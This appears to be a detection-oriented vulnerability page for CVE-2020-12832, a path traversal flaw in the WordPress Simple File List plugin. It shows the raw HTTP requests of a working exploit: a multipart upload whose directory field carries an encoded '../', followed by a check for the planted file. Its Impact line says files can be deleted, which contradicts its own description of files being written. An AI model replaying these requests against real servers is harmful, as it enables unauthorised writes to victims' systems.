🔙 목록으로 돌아가기

CVE-2020-12832: WordPress Simple File List - Path Traversal

TitleWordPress Simple File List - Path Traversal
Authorriteshs4hu
SeverityCritical
ImpactAttackers can delete arbitrary files on the server, potentially causing data loss or service disruption.
RemediationUpdate to version 4.2.8 or later.
CVSS Score9.8
EPSS Score0.73235
CVE IDCVE-2020-12832
CWE IDCWE-22
Tags cve cve2020 wp wordpress wp-plugin traversal simple-file-list lfi vkev

🔍 Vulnerability Description

Simple File List plugin allows path traversal via file upload, enabling files to be written outside the upload directory.

🌐 HTTP Request

GET /?rest_route=/wp/v2/pages&per_page=100 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /8luh3T/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 689
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytA7kTuCe4IHDaUBZ
Accept-Encoding: gzip

------WebKitFormBoundarytA7kTuCe4IHDaUBZ

Content-Disposition: form-data; name="action"



sfl_upload_job

------WebKitFormBoundarytA7kTuCe4IHDaUBZ

Content-Disposition: form-data; name="file"; filename="DQCcxR3.xYgd9y"

Content-Type: application/octet-stream



DQCcxR3

------WebKitFormBoundarytA7kTuCe4IHDaUBZ

Content-Disposition: form-data; name="eeSFL_ID"



t6ZzSi

------WebKitFormBoundarytA7kTuCe4IHDaUBZ

Content-Disposition: form-data; name="eeSFL_FileUploadDir"



wp-content%2Fuploads%2Fsimple-file-list%2F..%2F

------WebKitFormBoundarytA7kTuCe4IHDaUBZ

Content-Disposition: form-data; name="ee-simple-file-list-upload"



StMZKW

------WebKitFormBoundarytA7kTuCe4IHDaUBZ--
GET /wp-content/uploads/DQCcxR3.xYgd9y HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12832.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-12832.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A